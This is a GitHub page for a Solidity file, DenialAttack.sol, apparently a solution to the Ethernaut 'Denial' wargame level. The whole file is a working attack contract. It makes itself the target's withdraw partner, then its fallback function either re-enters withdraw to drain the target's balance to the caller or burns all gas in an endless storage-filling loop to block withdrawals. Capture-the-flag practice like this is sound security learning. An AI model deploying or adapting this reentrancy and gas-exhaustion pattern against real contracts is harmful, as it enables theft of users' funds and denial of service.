-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathDenialAttack.sol
More file actions
38 lines (28 loc) · 771 Bytes
/
Copy pathDenialAttack.sol
File metadata and controls
38 lines (28 loc) · 771 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.6.0;
import "hardhat/console.sol";
interface IDenial {
function setWithdrawPartner(address _partner) external;
function withdraw() external;
}
contract DenialAttack {
IDenial target;
bytes32[] trash;
bool withdraw = false;
function attack(address _target) public {
withdraw = true;
target = IDenial(_target);
target.setWithdrawPartner(address(this));
target.withdraw();
msg.sender.call{value: (address(this).balance)}("");
withdraw = false;
}
fallback() external payable {
if (withdraw) {
target.withdraw();
} else {
while (true) {
trash.push(bytes32(uint256(2**256 - 1)));
}
}
}
}